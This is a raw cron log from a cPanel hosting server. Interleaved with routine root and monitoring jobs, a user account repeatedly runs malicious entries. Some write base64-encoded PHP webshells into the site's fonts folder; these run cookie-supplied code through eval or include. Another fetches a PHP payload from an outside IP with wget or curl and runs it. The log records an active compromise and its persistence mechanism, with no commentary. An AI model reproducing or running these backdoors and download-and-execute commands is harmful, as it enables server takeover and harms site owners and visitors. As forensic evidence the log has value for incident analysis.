Sep  4 04:06:01 ip-184-168-122-23 CROND[17743]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 04:06:01 ip-184-168-122-23 CROND[17744]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 04:07:01 ip-184-168-122-23 CROND[17873]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 04:07:01 ip-184-168-122-23 CROND[17875]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 04:07:01 ip-184-168-122-23 CROND[17876]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 04:07:01 ip-184-168-122-23 CROND[17878]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 04:08:01 ip-184-168-122-23 CROND[18055]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 04:08:01 ip-184-168-122-23 CROND[18058]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 04:08:01 ip-184-168-122-23 CROND[18057]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 04:08:01 ip-184-168-122-23 CROND[18060]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 04:08:01 ip-184-168-122-23 CROND[18062]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 04:09:01 ip-184-168-122-23 CROND[18162]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 04:09:01 ip-184-168-122-23 CROND[18163]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 04:09:01 ip-184-168-122-23 CROND[18164]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 04:09:01 ip-184-168-122-23 CROND[18166]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  4 04:09:01 ip-184-168-122-23 CROND[18165]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 04:10:02 ip-184-168-122-23 CROND[18279]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 04:10:02 ip-184-168-122-23 CROND[18278]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 04:10:02 ip-184-168-122-23 CROND[18277]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 04:10:02 ip-184-168-122-23 CROND[18276]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 04:10:02 ip-184-168-122-23 CROND[18283]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 04:10:02 ip-184-168-122-23 CROND[18284]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 04:10:02 ip-184-168-122-23 CROND[18286]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 04:10:02 ip-184-168-122-23 CROND[18289]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 04:11:01 ip-184-168-122-23 CROND[18399]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 04:11:01 ip-184-168-122-23 CROND[18398]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 04:11:01 ip-184-168-122-23 CROND[18400]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 04:11:01 ip-184-168-122-23 CROND[18401]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 04:12:01 ip-184-168-122-23 CROND[18506]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 04:12:01 ip-184-168-122-23 CROND[18510]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 04:12:01 ip-184-168-122-23 CROND[18508]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 04:12:01 ip-184-168-122-23 CROND[18509]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 04:12:01 ip-184-168-122-23 CROND[18511]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 04:13:01 ip-184-168-122-23 CROND[18670]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 04:13:01 ip-184-168-122-23 CROND[18675]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 04:13:01 ip-184-168-122-23 CROND[18673]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 04:13:01 ip-184-168-122-23 CROND[18674]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 04:14:01 ip-184-168-122-23 CROND[18801]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 04:14:02 ip-184-168-122-23 CROND[18803]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 04:14:02 ip-184-168-122-23 CROND[18804]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 04:14:02 ip-184-168-122-23 CROND[18806]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 04:14:02 ip-184-168-122-23 CROND[18805]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 04:15:01 ip-184-168-122-23 CROND[18946]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 04:15:01 ip-184-168-122-23 CROND[18947]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 04:15:01 ip-184-168-122-23 CROND[18949]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 04:15:01 ip-184-168-122-23 CROND[18952]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep  4 04:15:01 ip-184-168-122-23 CROND[18954]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 04:15:02 ip-184-168-122-23 CROND[18960]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 04:15:02 ip-184-168-122-23 CROND[18963]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 04:16:01 ip-184-168-122-23 CROND[19095]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 04:16:01 ip-184-168-122-23 CROND[19096]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 04:16:01 ip-184-168-122-23 CROND[19098]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  4 04:16:01 ip-184-168-122-23 CROND[19099]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 04:16:01 ip-184-168-122-23 CROND[19101]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 04:16:01 ip-184-168-122-23 CROND[19100]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 04:17:01 ip-184-168-122-23 CROND[19211]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 04:17:01 ip-184-168-122-23 CROND[19212]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 04:17:01 ip-184-168-122-23 CROND[19216]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 04:17:01 ip-184-168-122-23 CROND[19218]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 04:18:01 ip-184-168-122-23 CROND[19309]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 04:18:01 ip-184-168-122-23 CROND[19312]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 04:18:01 ip-184-168-122-23 CROND[19311]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 04:18:01 ip-184-168-122-23 CROND[19313]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
